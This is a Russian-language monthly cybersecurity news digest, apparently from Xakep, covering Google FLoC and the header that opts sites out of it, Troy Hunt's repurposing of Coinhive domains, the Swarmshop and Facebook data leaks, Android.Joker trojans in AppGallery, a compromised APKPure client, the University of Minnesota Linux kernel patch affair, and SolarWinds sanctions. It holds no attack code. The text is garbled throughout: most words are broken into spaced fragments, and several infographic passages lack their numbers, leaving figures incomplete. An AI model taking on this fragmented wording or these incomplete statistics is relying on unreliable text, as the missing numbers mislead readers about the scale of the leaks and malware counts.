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В этом месяце: все кри тику ют Google FLoC, домены Coinhive
прис пособи ли для информи рова ния людей о крип тодже кин‐ 
ге,  обна руже на  оче ред ная  утеч ка  дан ных  Facebook,  в  офи‐ 
циаль ном магази не при ложе ний для устрой ств Huawei наш ли
мал варь,  Рос сию  офи циаль но  обви нили  в  ата ке  на  Solar‐
Winds, хакеры шан тажиру ют ком панию Apple.

FLOC OFF
Не дав но ком пания Google начала тес тирова ние новой тех нологии отсле жива‐ 
ния  поль зовате лей  под  наз вани ем  Federated  Learning  of  Cohorts  (FLoC),
которая  объ еди няет  поль зовате лей  в  ано ним ные  сег менты,  или  «когор ты»,
в зависи мос ти от их инте ресов и поведе ния в интерне те.

В  отли чие  от  сто рон них  фай лов  cookie,  исполь зуемых  рек ламода теля ми
для отсле жива ния поведе ния и инте ресов на раз ных  сай тах,  FLoC встро ена
в  сам  бра узер,  который  рас пре деля ет  людей  по  опре делен ным  «когор там»
и переда ет эту информа цию сай там и рек ламода телям. Таким обра зом, каж‐ 
дый бра узер будет объ еди нен с «когор тами», которые наибо лее точ но отра‐ 
жают  при выч ки  поль зовате ля  и  соот носят ся  с  прос мотрен ными  веб‐стра‐ 
ница ми.

В  ито ге  тысячи  бра узе ров  с  похожей  исто рией  прос мотров  (при над‐ 
лежащие  к  одной  и  той  же  «когор те»)  будут  иметь  общий  иден тифика тор
«когор ты», который будет пре дос тавлять ся сай там по зап росу.

«FLoC  не  делит ся  вашей  исто рией  прос мотров  ни  с  Google,  ни  с
кем‑либо еще. Это отли чает ся от сто рон них фай лов cookie,  которые
поз воля ют ком пани ям отсле живать вас инди виду аль но на раз ных сай- 
тах. FLoC работа ет на вашем устрой стве, не пре дос тавляя кому‑либо
дос туп к исто рии прос мотров. Важ но отме тить, что все учас тни ки рек- 
ламной  эко сис темы,  в  том  чис ле  собс твен ные  рек ламные  про дук ты
Google,  будут  иметь  оди нако вый  дос туп  к  FLoC»,  —  объ ясня ли  раз- 
работ чики Google в бло ге.

Од нако сам FLoC и идея заменить им сто рон ние фай лы cookie не наш ла под‐ 
дер жки в отрасли. FLoC сра зу же рас кри тико вали и отка зались исполь зовать
экспер ты и раз работ чики. К при меру, в Electronic Frontier Foundation (EFF) тех‐ 
нологию сра зу наз вали «ужас ной иде ей», а гла ва DuckDuckGo Габ риэль Вай‐ 
нберг  пре дуп редил,  что  любой  тре кер,  который  получа ет  иден тифика тор
FLoC  и  IP‐адрес  поль зовате ля,  может  исполь зовать ся  для  отсле жива ния
и будет прек расно ори енти ровать ся  в поведе нии поль зовате ля без сто рон‐ 
них фай лов cookie и чего‐либо еще.

За тем, вско ре пос ле того, как Google обна родо вала свои пла ны по испы‐ 
танию FLoC на неболь шой груп пе поль зовате лей Chrome, соз датели бра узе‐ 
ров Vivaldi и Brave сооб щили, что не будут под держи вать тех нологию.

«Новый инс тру мент Google по сбо ру дан ных отвра тите лен. FLoC (Fed-
erated  Learning  of  Cohorts  —  объ еди нен ное  обу чение  по  груп пам)  —
это  новая  рек ламная  тех нология,  приз ванная  заменить  сто рон ние
cookies  и  подоб ные  средс тва  вро де  localStorage.  Это  откро вен но
опас ный шаг, наруша ющий при ват ность поль зовате лей.

Мы  в  Vivaldi  всег да  защища ем  при ват ность  наших  поль зовате лей.
Мы  не  допус каем  отсле жива ния  активнос ти  поль зовате лей  или  соз- 
дание  их  поведен ческих  про филей,  в  любой фор ме. Мы  даже  собс- 
твен ным про дук там не поз воля ем соз давать локаль ные поведен ческие
про фили поль зовате лей», — заявил гла ва Vivaldi Йон фон Теч нер.

«Худ ший  аспект  FLoC  зак люча ется  в  том,  что  он  наносит  сущес- 
твен ный  вред  кон фиден циаль нос ти  поль зовате лей  под  видом  обес- 
печения  этой  самой  кон фиден циаль нос ти»,  —  писали  раз работ чики
Brave.

Пос ле это го ста ло извес тно, что раз работ чики WordPress всерь ез обсужда ют
необ ходимость бло киров ки FLoC на сай тах под управле нием этой CMS. Ожи‐ 
дает ся,  что  WordPress  будет  отправ лять  спе циаль ный  хедер  HTTP‐зап роса,
сооб щающий бра узе ру, что FLoC сле дует отклю чить для дан ного сай та.

Об новле ния  пла ниру ют  внес ти  в  WordPress  5.8,  выпуск  которо го  зап‐ 
ланиро ван  на  июль  2021  года,  но  пока  раз работ чики  зап рашива ют  у  сооб‐ 
щес тва  обратную  связь  и  приг лаша ют  всех жела ющих  к  обсужде нию.  Так же
рас смат рива ется воз можность внед рить бло киров ку FLoC и в более ран ние
вер сии CMS.

Ком пания  Apple  пока  не  делала  офи циаль ных  заяв лений  о  FLoC,  одна ко
раз работ чик  Safari  Джон  Вилан дер  писал  в  Twitter,  что  ком пания  намере на
подож дать  и  пос мотреть,  что  будет  даль ше.  Такой  же  так тики  при дер жива‐ 
ются и соз датели Microsoft Edge, которые пока не вклю чили под дер жку FLoC
в сво ем бра узе ре, а СМИ и вов се обна ружи ли отсутс твие нуж ного ком понен‐ 
та в Edge. Инсай деры изда ния Bleeping Computer сооб щили, что пока в ком‐ 
пании пла ниру ют понаб людать, как раз вива ется FLoC.

Ин женеры GitHub и вов се объ яви ли о раз верты вании нового HTTP‐хедера
  для  под доменов  github.com

и сай тов GitHub Pages (раз мещен ных на github.io). Как ока залось, этот хедер
пред назна чен  для  того,  что бы  сай ты  по  умол чанию  отка зыва лись  от Google
FLoC.

Permissions‐Policy:  interest‐cohort=()

При  этом  раз работ чики  GitHub  даже  не  упо мяну ли  в  бло ге  саму  тех‐ 
нологию  FLoC,  прос то  лаконич но  про информи рова ли  поль зовате лей
о новов ведении.

INFO

Для борь бы с FLoC уже соз дан ряд инс тру мен тов:
спе циалис ты EFF запус тили спе циаль ный сайт,

,  где  любой  поль зователь  может
про верить, не тес тиру ет ли Google FLoC имен‐ 
но в его бра узе ре;

•
AmIFloced.org

ин женеры  DuckDuckGo  выпус тили  рас ширение
 для Chrome и дру гих бра узе‐ 

ров, которое может бло киро вать FLoC.

•
Privacy Essentials

 ДОЛЛАРОВ В ПОДАРОЧНЫХ КАРТАХ38 000 000

На  хакер ском  форуме  были  про даны  око ло    подароч ных  карт,  общей  сто имостью
 дол ларов. Про давец не сооб щил, как он получил дан ные, но заявил, что в его рас‐ 

поряже нии име ются подароч ные кар ты   ком паний, вклю чая Airbnb, Amazon, American Air‐
lines, Dunkin Donuts, Marriott, Nike.
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Ба за  была  выс тавле на  на  аук цион,  где  началь ная  сто имость  сос тавила    дол ларов,
а блиц‐цена —   дол ларов. Тор ги завер шились быс тро, то есть базу кто‐то купил.

10  000
20 000

Ана лити ки Gemini Advisory отме чают,  что обыч но подароч ные кар ты про дают ся за    от  их
сто имос ти. В дан ном слу чае цена сос тавля ла при мер но   сто имос ти, а это говорит о том,
что информа ция о 38 мил лионах дол ларов была пре уве личе на.

10%
0,05%

ДОМЕН COINHIVE
ИСПОЛЬЗУЕТСЯ ВО
БЛАГО
Соз датель  сер виса  Have  I  Been  Pwned  Трой  Хант  исполь зует  домены  зак‐ 
рытого  в  2019  году  крип тодже кин гового  сер виса  Coinhive,  что бы  пре дуп‐ 
реждать поль зовате лей о сай тах, которые все еще занима ются скры тым май‐ 
нин гом.

ИСТОРИЧЕСКАЯ СПРАВКА
Coinhive появил ся осенью 2017 года и тог да позици они ровал ся как аль тер натива клас сичес кой
бан нерной рек ламе. Одна ко в ито ге он породил мас штаб ное явле ние, которое ИБ‐спе циалис ты
наз вали  крип тодже кин гом,  или  бра узер ным  май нин гом.  Дос таточ но  было  «неудач но»  зай ти
на  сайт,  в  код  которо го  встро ен  спе циаль ный  JavaScript  Coinhive  (или  дру гого  ана логич ного
сер виса, коих вско ре появи лись десят ки), и ресур сы машины уже исполь зовались для добычи
крип товалю ты Monero.

Опе рато ры Coinhive  приз навались,  что  сов сем  не желали  соз давать  инс тру мент  для  обо‐ 
гаще ния кибер прес тупни ков, и пря мо осуж дали дей ствия зло умыш ленни ков.

На  пике  сво ей  популяр ности Coinhive  был  внед рен  в  200  тысяч мар шру тиза торов,  в  рас‐ 
ширения для бра узе ра, в при ложе ния из Microsoft Store и даже на пра витель ствен ные сай ты.

В ито ге вес ной 2019 года сер вис зак рылся года пос ле хар дфор ка Monero, так как хеш рейт
упал  более  чем  на  50%.  Кро ме  того,  на  решение  раз работ чиков  Coinhive  пов лиял  общий
«обвал» крип товалют ного рын ка, так как тог да XMR потеря ла око ло 85% сто имос ти.

Хант пишет, что ему бес плат но пре дос тавили дос туп к coinhive.com и дру гим
свя зан ным доменам, при усло вии, что он сде лает с ними что‐то полез ное:

«В мае 2020 года я получил кон троль как над основным доменом coin-
hive.com, так и над нес коль кими дру гими вспо мога тель ными домена- 
ми, свя зан ными с сер висом, нап ример cnhv.co, который исполь зовал- 
ся  для  сок ращения  ссы лок  (что  тоже  зас тавля ло  бра узе ры  май нить
Monero). 
Я  не  уве рен,  нас коль ко  человек,  который  пре дос тавил  мне  эти
домены, хочет пуб личнос ти, поэто му единс твен ное, что я сей час ска- 
жу:  они  были  пре дос тавле ны  мне  бес плат но,  что бы  сде лать  что‑то
полез ное».

Так  как  домены  раз меща ются  за  Cloudflare,  Хант  исполь зовал  встро енную
ана лити ку и обна ружил, что огромное количес тво посети телей все еще пыта‐ 
ется  заг рузить  JavaScript  с  Coinhive.  При чем  скрип ты  в  основном  активны
на сай тах Китая и Рос сии. Боль шая часть это го тра фика может быть свя зана
с  взло ман ными  мар шру тиза тора ми  MikroTik,  которые  про дол жают  внед рять
скрип ты Coinhive, ког да поль зовате ли посеща ют любые сай ты.

Тог да  эксперт  решил,  что  исполь зует  домен  coinhive.com,  что бы  перенап‐ 
равлять  людей  на  свой  пост  в  бло ге,  пос вящен ный  Coinhive.  То  есть,  если
люди  посеща ют  сай ты  со  скрип тами  Coinhive,  они  видят  диало говое  окно,
которое  пре дуп редит  их:  «Этот  сайт  попытал ся  запус тить  крип томай нер
в вашем бра узе ре». При чем пре дуп режде ние — это ссыл ка, по которой поль‐ 
зовате ли могут клик нуть и узнать о Coinhive боль ше.

Хо тя Хант дела ет доб рое дело, при мер Coinhive наг лядно показы вает, что
зло умыш ленни ки  могут  исполь зовать  заб рошен ные  домены  для  внед рения
скрип тов в бра узе ры ничего не подоз рева ющих посети телей.

«Теперь  я  могу  запус кать  любой  JavaScript,  который  захочу,
на  огромном  количес тве  сай тов. Итак,  что  я мог бы  сде лать  с  Java-
Script? Я мог бы внес ти изме нения в работу форм, внед рить кей лог- 
гер,  изме нить  DOM,  осу щест влять  внеш ние  зап росы,  перенап равить
[посети телей]  к  вре донос ными  фай лам  и  делать  дру гие  неп рият ные
вещи. 
Имен но  такую  власть  вы  даете  [пос торон ним],  ког да  встра иваете
чужой  JS  на  свой  сайт,  и  имен но  за  этим  нуж на  целос тность  саб- 
ресур сов», — пре дуп режда ет эксперт.

ВЗЛОМ SWARMSHOP
По дан ным Group‐IB, кар дер ский ресурс Swarmshop был взло ман и с него утек ла информа ция
обо  всех  про дав цах,  покупа телях,  а  так же  все  дан ные  ворован ных  карт,  которы ми  тор говали
на сай те. Ком про мета ция сай та про изош ла в мар те 2021 года.

Дамп  содер жит    записи  учас тни ков  форума,  вклю чая  , 
,  ,  а  так же  исто рию  активнос ти  адми нис тра торов,  про дав цов

и покупа телей Swarmshop.
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В  общей  слож ности  в  утеч ке  было  обна руже но    записи  об  адми нис тра торах  ресур са, 
записей о про дав цах и   записей о покупа телях ворован ных дан ных.
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Так же в рас поряже нии похити телей ока залась вся информа ция о ворован ных бан ков ских кар‐ 
тах, которы ми тор говали на сай те, —   пла теж ных кар тах, выпущен ных бан ками США,
Канады,  Великоб ритании,  Китая,  Син гапура, Фран ции,  Бра зилии,  Саудов ской  Ара вии  и Мек‐ 
сики.  А  так же    наборов  учет ных  дан ных  от  онлайн‐бан кинга  и    набора  номеров
соци аль ного стра хова ния для жителей США и Канады.
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ЕЩЕ ОДНА КРУПНАЯ
УТЕЧКА FACEBOOK
В  начале  апре ля  на  хакер ском  форуме  были  опуб ликова ны  дан‐ 
ные 533 313 128 поль зовате лей Facebook. Этот дамп вклю чает в себя номера
телефо нов,  име на,  Facebook  ID,  email‐адре са,  информа цию  о  мес тополо‐ 
жении, поле, дате рож дения, работе и дру гие дан ные, которые мог ли содер‐ 
жать про фили соци аль ной сети.

Впер вые эта информа ция появи лась в дар кне те еще летом 2020 года, ког‐ 
да один из  учас тни ков форума стал про давать дан ные поль зовате лей Face‐
book. От про чих эту утеч ку отли чал тот факт, что она содер жала не толь ко дан‐ 
ные из обще дос тупных про филей, но и номера телефо нов, свя зан ные с эти ми
учет ными запися ми. Утеч ка содер жит даже номера телефо нов трех осно вате‐ 
лей  Facebook:  Мар ка  Цукер берга,  Кри са  Хьюза  и  Дас тина  Мос ковица,
которые  были  чет вертым,  пятым  и  шес тым  учас тни ками  соци аль ной  сети
Facebook.

По  мне нию  ИБ‐экспер тов,  еще  в  2019  году  зло умыш ленни ки  вос поль‐ 
зовались уяз вимостью, свя зан ной с фун кци ей «Добавить дру га», которая поз‐ 
волила получить дос туп к телефон ным номерам. Этот баг уже дав но исправ‐ 
лен.

Пред ста вите ли  Facebook  под твер дили,  что  утеч ка  про изош ла
еще в 2019 году:

«Это  ста рые  дан ные,  о  которых  ранее  сооб щалось  в  2019  году. Мы
обна ружи ли и испра вили эту проб лему в августе 2019 года».

Пер воначаль но  этот  дамп  и  вов се  был  про дан  по  цене  30  тысяч  дол ларов
США,  затем  его  монети зиро вали  при  помощи  при ват ного  Telegram‐бота,
а теперь опуб ликова ли бес плат но.

Хо тя дамп датиро ван 2019 годом, экспер ты отме чают, что номера телефо‐ 
нов и адре са элек трон ной поч ты обыч но не меня ются в течение мно гих лет,
то  есть  база  по‐преж нему  име ет  немалую  цен ность  для  зло умыш ленни ков.
Так,  эта  информа ция  может  исполь зовать ся  для  рас сылки  спа ма  (по  элек‐ 
трон ной поч те  или SMS),  авто мати чес ких  звон ков,  попыток  вымога тель ства,
угроз, прес ледова ния и так далее.

Аг регатор  уте чек Have  I  Been Pwned  уже добавил  утеч ку  в  свою базу.  То
есть  любой  жела ющий  может  про верить,  кос нулась  ли  его  эта  проб лема.
При чем  сна чала  про вер ка  была  воз можна  толь ко  по  email‐адре су,  одна ко
толь ко 2,5 мил лиона записей из 533 мил лионов вклю чали адрес элек трон ной
поч ты. То есть поиск по email‐адре су чаще все го не давал резуль татов.

В  ито ге  осно ватель  ресур са  Трой  Хант  добавил  на  HIBP  воз можность
искать  по  номерам  телефо нов,  хотя  это  была  нет риви аль ная  задача  из‐за
раз ных фор матов номеров.

ОТКРОВЕНИЯ СКАМЕРА
Жур налис там изда ния «74.RU» уда лось пооб щать ся с телефон ной мошен ницей, которая выда ет
себя  за  «сот рудни цу Сбер банка». Жен щина,  наз вавша яся Полиной,  рас ска зала о  сво их  усло‐ 
виях работы и уров не доходов, а так же о том, что обма нывать людей ста новит ся все слож нее.

→ «По доходам ста биль нос ти нет. Может быть 7000 дол ларов, а может быть 200 дол ларов —
это в неделю. Работа ем мы с 8 до 17, пять на два. Работа ем в офи се, мно го нас таких очень».

«Мошен ничес тво  никог да  не  перес танет  быть  воз можным,  потому  что  люди  довер чивые.
Они  могут  быть  даже  нег лупыми.  Мил лионе ры  попада ются,  которые  зак ладыва ют  свои  мил‐ 
лионы, мил лиар ды, квар тиры. Это не говорит о том, что они глу пые. Прос то довер чивые».

«Из 100 ведет ся, навер ное, про цен тов пять. 95% я обзва ниваю каж дый день, и меня шлют.
И толь ко с пятью повезет, они меня хотя бы пос луша ют. Из этих пяти еще не все смо гут взять
кре дит».

«С мос кви чами невоз можно, они очень про шарен ные. И Санкт‐Петер бург  тоже. Мос кви чи
вооб ще  не  верят.  Зна ете,  как  с  ними  тяжело?  Я  прос то  говорю,  что  это  Сбер банк,  и  иду
на @%&, изви ните за выраже ние».

ПОЛИЦИЯ ПРОТИВ
ЧИТЕРОВ
Ки тай ская  полиция  в  сот рудни чес тве  с  тех нологи чес ким  гиган том  Tencent
арес товала  десять  раз работ чиков  17  раз ных  инс тру мен тов  для  читерс тва
в играх (вклю чая Overwatch и Call of Duty Mobile).

Пра воох раните ли и Tencent называ ют это круп ней шей в исто рии опе раци‐ 
ей, нап равлен ной про тив читеров. 
По информа ции BBC, сум марно у подоз рева емых изъ яли 76 мил лионов дол‐ 
ларов,  которые  те  зарабо тали  на  або нент ской  пла те,  про давая  под писки
на свои читы. Такая под писка мог ла сто ить от 10 дол ларов в день до 200 дол‐ 
ларов в месяц.

Так же  полиция  арес товала  иму щес тво  раз работ чиков  на  сум му  46  мил‐ 
лионов  дол ларов  и  изъ яла  нес коль ко  авто моби лей  пре миум‐клас са  (Rolls‐
Royce, Ferrari, Lamborghini), которые мож но уви деть на фото ниже.

Продолжение статьи →
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Борь ба с читера ми и соз дателя ми подоб ного ПО выходит на новый уро вень.
Дело в том, что в мире дей ству ет мно жес тво ана логич ных команд раз работ‐ 
чиков, которые пока не попали в поле зре ния пра воох раните лей, но неред ко
ста новят ся  целью  для  про изво дите лей  виде оигр  и  фигуран тами  раз личных
судеб ных исков, порой свя зан ных с наруше ниями закона об автор ском пра ве.

К при меру, недав но TorrentFreak сооб щало, что в начале года Riot Games
и  Bungie  подали  иск  про тив  про изво дите лей  читов  GatorCheats,  утвер ждая,
что те соз давали наруша ющие автор ские пра ва инс тру мен ты, пред назна чен‐ 
ные для пор чи игро вой сре ды в играх Valorant и Destiny 2. Сог ласно судеб ным
докумен там, в ито ге сто роны сог ласились уре гули ровать дело миром, но при
этом  GatorCheats  обя зали  вып латить  два  мил лиона  дол ларов  и  бес сроч но
соб людать усло вия получен ного ком пани ями судеб ного зап рета.

 ДОЛЛАРОВ ЗА RCE В WORDPRESS300 000
Из вес тный бро кер уяз вимос тей, ком пания Zerodium вре мен но утра ивает вып латы за экс пло иты
для WordPress, которые обес печива ют уда лен ное выпол нение кода в новей ших вер сиях CMS.

Те перь ком пания оце нива ет такие уяз вимос ти и экс пло иты для них в   дол ларов США
(про тив обыч ных   дол ларов США).
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Как и в слу чае с дру гими ана логич ными экс пло ита ми, экс пло ит для WordPress дол жен работать
на чис той уста нов ке CMS с кон фигура цией по умол чанию, не тре буя для ата ки аутен тифика ции
или  вза имо дей ствия  с  поль зовате лем.  То  есть  исполь зование  уяз вимос тей  в  сто рон них  пла‐ 
гинах, незави симо от того, нас коль ко они популяр ны и широко рас простра нены, не подой дет.

УТЕЧКА ДЛЯ
ВЗРОСЛЫХ
Эк спер ты ИБ‐фир мы BackChannel замети ли, что на хакер ском ресур се Raid‐
Forums  рас простра няет ся  ссыл ка  на  Google  Drive,  запол ненный  кон тентом
для взрос лых с плат формы OnlyFans.

OnlyFans  позици они рует ся  как  сайт,  где  соз датели  кон тента  могут  нап‐ 
рямую  зараба тывать  день ги,  делясь  изоб ражени ями,  видео  и  стри мами
со  сво ими  пок лонни ками,  которые  пла тят  за  под писку.  Хотя  ресурс  рек‐ 
ламиру ется как плат форма для зна мени тос тей и вли ятель ных лиц, он весь ма
популя рен и активно исполь зует ся для обме на «взрос лым» кон тентом.

По  дан ным  BackChannel,  обна ружен ный  дамп  содер жит  матери алы
от 279 соз дателей кон тента, при чем боль шая часть этих матери алов датиро‐ 
вана  октябрем  2020  года.  Толь ко  в  одной  из  папок  иссле дова тели  наш ли
более 10 Гбайт видео и фотог рафий.

Эк спер ты полага ют, что этот дамп был соб ран сра зу нес коль кими людь ми:

«Под писчи ки OnlyFans неред ко обме нива ются фай лами друг с дру гом.
OnlyFans  име ет  весь ма  сла бые  механиз мы  для  кон тро ля  кон тента,
и  сущес тву ет  мно жес тво  ботов  и  пар серов,  которые  может  исполь- 
зовать легитим ный под писчик. Уни каль ность это го [дам па] в том, что
так мно го поль зовате лей объ еди нены в одну пап ку».

У соз дателей  кон тента,  чьи  пра ва  наруша ет  эта  утеч ка,  есть боль шая проб‐ 
лема.  Дело  в  том,  что  вла дель цы  кон тента  на  OnlyFans  дол жны  сооб щать
о наруше ниях автор ских прав на каж дый отдель ный файл, и лишь так их мож‐ 
но  уда лить  с  Google  Drive.  Если  утеч ка  зат ронула  мно го фай лов,  это  может
быть весь ма уто митель ным заняти ем.

Пос коль ку  выяс нилось,  что обна ружен ная  пап ка  исполь зует ся  сов мес тно
с  учет ной  записью  город ско го  кол леджа  Сан‐Фран циско,  экспер ты
BackChannel пыта ются свя зать ся с учеб ным заведе нием и добить ся ее пол‐ 
ного  уда ления.  Так же,  стре мясь  помочь  соз дателям  кон тента,  ана лити ки
BackChannel  соз дали  спе циаль ную  стра ницу,  где  те  могут  про верить  свой
username и узнать, кос нулась ли их утеч ка.

ХАКЕРОВ ПОСЧИТАЛИ
Аме рикан ская ИБ‐ком пания FireEye обна родо вала еже год ный отчет, сог ласно которо му в нас‐ 
тоящее вре мя в мире дей ству ют более   раз личных хакер ских групп. В 2019 году их нас‐ 
читыва лось око ло  .
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За 2020  год  экспер ты  обна ружи ли    новых  хак‐групп,  а  так же  уда лили  око ло    групп
из сво его тре кера угроз из‐за дуб лирова ния и сов падения с ранее извес тны ми клас терами.
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Сре ди  1900  извес тных  FireEye  хакер ских  груп пировок  есть  как  «пра витель ствен ные»  хакеры
( ), так и финан сово мотиви рован ные груп пы ( ), а так же нек ласси фици рован ные груп пы
( ), информа ции о которых еще слиш ком мало, что бы помес тить их в любую из пер вых двух
катего рий.
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В 2020  году  зло умыш ленни ки  исполь зовали    новых  образцов мал вари.  За  пос ледний  год
хакеры соз дали более   новых семей ств вре донос ных прог рамм, что соот ветс тву ет уров ню
пре дыду щего  года.  Эта  мал варь  делит ся  на  пять  основных  катего рий:  бэк доры  ( ),  заг‐ 
рузчи ки ( ), дроп перы ( ), лон черы ( ) и вымога тели ( ).
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На ибо лее рас простра нен ными угро зами ана лити ки называ ют бэк дор  ,  который  вклю‐ 
чен в сос тав Cobalt Strike, фрей мворк для пос тэкс плу ата ции  , вымога телей 

, а  так же пен тестер ское решение  .  Так,  три из пяти угроз на деле пред‐ 
став ляют собой не мал варь, а впол не закон ные ИБ‐инс тру мен ты (Beacon, Empire и Metasploit),
которые прос то любят исполь зовать зло умыш ленни ки.

Beacon
Empire Maze и Net-

walker Metasploit

МАЛВАРЬ В APP‐
GALLERY И APKPURE
В начале месяца экспер ты ком пании «Док тор Веб» обна ружи ли в офи циаль‐ 
ном магази не при ложе ний для устрой ств Huawei — AppGallery мно гофун кци‐ 
ональ ные тро яны семей ства Android.Joker, которые под писыва ют поль зовате‐ 
лей на плат ные мобиль ные сер висы.

В общей слож ности спе циалис ты наш ли в AppGallery десять модифи каций
этих тро янов, их заг рузили свы ше 538 тысяч вла дель цев Android‐устрой ств.

Се мей ство  Android.Joker  извес тно  спе циалис там  с  осе ни  2019  года,
и прак тичес ки ежед невно ана лити ки обна ружи вают новые вер сии и модифи‐ 
кации  этих  тро янов.  Обыч но  такая  мал варь  спо соб на  выпол нять  раз личные
задачи  (в  зависи мос ти  от  целей  зло умыш ленни ков).  Так,  при ложе ния‐при‐ 
ман ки, которые уста нав лива ют жер твы, обыч но пред став ляют собой базовые
модули  с  минималь ным  набором  фун кций.  Они  лишь  пре дос тавля ют  связь
меж ду дру гими тро янски ми ком понен тами. При этом основные вре донос ные
задачи выпол няют модули, поз же заг ружа емые из интерне та.

Рань ше  заражен ные  Android.Joker  при ложе ния  встре чались  в  основном
в  офи циаль ном  катало ге  Android‐при ложе ний  Google  Play.  Одна ко  теперь
зло умыш ленни ки,  судя  по  все му,  решили  рас ширить  мас шта бы  сво ей
деятель нос ти и обра тили вни мание на аль тер натив ные катало ги, под держи‐ 
ваемые круп ными игро ками рын ка мобиль ных устрой ств.

Как  и  в  слу чае  с  дру гими  вер сиями  этой мал вари,  обна ружен ные  в  App‐
Gallery модифи кации рас простра нялись под видом безобид ных при ложе ний,
которые при запус ке работа ли так, как и ожи дали поль зовате ли. Так, тро яны
скры вались  в  вир туаль ных  кла виату рах,  при ложе нии‐фотока мере,  лон чере,
мес сен дже ре,  сбор нике  сти керов,  прог раммах‐рас крас ках,  а  так же  в  игре.
Восемь при ложе ний рас простра нял раз работ чик под име нем Shanxi kuailaipai
network technology co., ltd, а два дру гих — раз работ чик под име нем 何斌.

«Пос ле  получе ния  опо веще ния  от  ком пании  „Док тор  Веб“  Huawei
скры ла  при ложе ния  с  вре донос ными  прог рамма ми  в  магази не  при- 
ложе ний  AppGallery  для  обес печения  безопас ности  поль зовате лей.
Ком пания  про ведет  допол нитель ную  про вер ку  с  целью миними зации
рис ков  появ ления  подоб ных  прог рамм  в  будущем»,  —  сооб щили
в пресс‑служ бе AppGallery.

Вско ре пос ле это го инци ден та ана лити ки все той же ком пании «Док тор Веб»,
а так же «Лабора тории Кас пер ско го» пре дуп редили, что офи циаль ный кли ент
аль тер натив ного магази на Android‐при ложе ний APKPure заражен мал варью.

В  дан ном  слу чае  проб лема  зат ронула  не  при ложе ния  в  катало ге:  тро‐ 
ян‐дроп пер про ник в рек ламный SDK и был обна ружен в самом кли енте AP‐
KPure  вер сии  3.17.18,  который  рас простра нял ся  через  офи циаль ный  сайт
пло щад ки. При ложе ние было под писано дей стви тель ной циф ровой под писью
вла дель цев катало га.

По хоже, APKPure пов торил судь бу популяр ного при ложе ния CamScanner.
В 2019 году его раз работ чик внед рил в код рек ламный SDK из неп роверен‐ 
ного источни ка, и в ито ге мил лионы поль зовате лей пос тра дали от мал вари.

В  слу чае  APKPure  вре донос  был  спо собен  показы вать  рек ламу  при  раз‐ 
бло киров ке  устрой ства,  пери оди чес ки  откры вать  бра узер  с  рек ламны ми
стра ница ми,  заг ружать  допол нитель ные  исполня емые  модули.  Иссле дова‐ 
тели  наб людали,  как  при  помощи  APKPure  был  заг ружен  тро ян,  похожий
на  мал варь  семей ства  Triada,  обла дающий  обширны ми  воз можнос тями:
от показа и прок ликива ния рек ламы до офор мле ния плат ных под писок и заг‐ 
рузки дру гих вре доно сов.

Ес ли же заражен ное устрой ство было ста рым, с Android 6 или 7 на бор ту,
где  получить  root‐пра ва  сов сем  нет рудно,  мог  заг рузить ся  и  тро ян  xHelper,
который поз воля ет зло умыш ленни кам делать на устрой стве прак тичес ки все,
что им заб лагорас судит ся.

По  информа ции  «Лабора тории  Кас пер ско го»,  в  ком пании  APKPure  под‐ 
твер дили  наличие  проб лемы  и  опе ратив но  выпус тили  обновлен ную  вер сию
при ложе ния (3.17.19), в которой она была устра нена. Сколь ко поль зовате лей
успе ли пос тра дать от вре донос ной вер сии APKPure, неиз вес тно.

НЕДОВОЛЬСТВО LINUX‐СООБЩЕСТВА
Ис сле дова тели  из  Уни вер ситета  Мин несоты  про вели  экспе римент,  наз ванный  «лицемер ные
ком миты». Они умыш ленно пытались добавить в код ядра Linux уяз вимос ти, желая про демонс‐ 
три ровать,  что  потен циаль но  вре донос ный  код  может  остать ся  незаме чен ным  и  прой ти  про‐ 
цесс утвер жде ния. Для это го соз давали бес полез ные или вре донос ные пат чи, которые отправ‐ 
ляли на про вер ку соп ровож дающим ядра.

По веде ние иссле дова телей выз вало жес ткую кри тику со сто роны сооб щес тва и раз работ‐ 
чиков. Теперь спе циалис там уни вер ситета зап рещено отправ лять любые изме нения в ядро Lin‐
ux, а все ком миты с адре сов @umn.edu будут откло нять ся.

→ «Нашему  сооб щес тву  не  нра вит ся,  ког да  над  ним  экспе римен тиру ют  и  „про веря ют“,
отправ ляя  пат чи,  которые  либо  умыш ленно  ничего  не  дела ют,  либо  умыш ленно  вно сят  в  код
ошиб ки.Linux  Foundation  и  Technical  Advisory  Board  нап равили  уни вер ситету  пись мо  с  изло‐ 
жени ем  кон крет ных  дей ствий,  которые  нуж но  пред при нять,  что бы  иссле дова тель ская  груп па
и  уни вер ситет  смог ли  вос ста новить доверие сооб щес тва  ядра Linux. Пока не будут пред при‐ 
няты эти дей ствия, нам боль ше нечего обсуждать»
— Грег Кроа‐Хар тман (Greg Kroah‐Hartman), отве чающий за ста биль ную вет ку ядра Linux

САНКЦИИ И АТАКА НА
SOLARWINDS
Аме рикан ские  влас ти  офи циаль но  воз ложили  на  Рос сию  ответс твен ность
за ата ку на ком панию SolarWinds и ее кли ентов. Адми нис тра ция Джо Бай дена
заяв ляет, что за ата кой сто яла Служ ба внеш ней раз ведки Рос сии и ее «пра‐ 
витель ствен ные  хакеры»,  извес тные  как  APT  29,  Cozy  Bear  или  The  Dukes.
По дан ным влас тей, они «исполь зовали плат форму SolarWinds Orion и дру гие
ИТ‐инфраструк туры  в  рам ках  широко мас штаб ной  кибер шпи онской  кам‐ 
пании».

«Ком про мета ция  СВР  цепоч ки  пос тавок  SolarWinds  дала  им  воз- 
можность  шпи онить  и  потен циаль но  нарушать  работу  более
чем 16  тысяч  компь ютер ных  сис тем по  все му миру», —  гла сит  заяв- 
ление Белого дома.

Пра витель ство Великоб ритании под держа ло заяв ление Белого дома и  тоже
свя зыва ет  ата ку  на  SolarWinds  с  СВР.  Евро пей ская  комис сия  под готови ла
собс твен ное заяв ление, в котором тоже обви няет Рос сию, одна ко не утвер‐ 
жда ет, что за этим инци ден том сто яла Служ ба внеш ней раз ведки.

В этот же день Минис терс тво финан сов США вве ло сан кции про тив шес ти
рос сий ских ИТ‐ком паний, которые, по мне нию пра витель ства США, помога ли
СВР и ГРУ сво ими тех ничес кими зна ниями и услу гами во вре мя прош лых опе‐ 
раций.  Сан кции  кос нулись  тех нополи са  «ЭРА»,  АО  «Пасит»,  Федераль ного
государс твен ного  авто ном ного  науч ного  учрежде ния  «Науч но‐иссле дова‐ 
тель ский  инсти тут  спе циали зиро ван ных  вычис литель ных  устрой ств  и  авто‐ 
мати ки  безопас ности»,  ООО  «Необит»,  АО  «Передо вые  сис темные  тех‐ 
нологии», а так же АО «Позитив Тек нолод жиз».

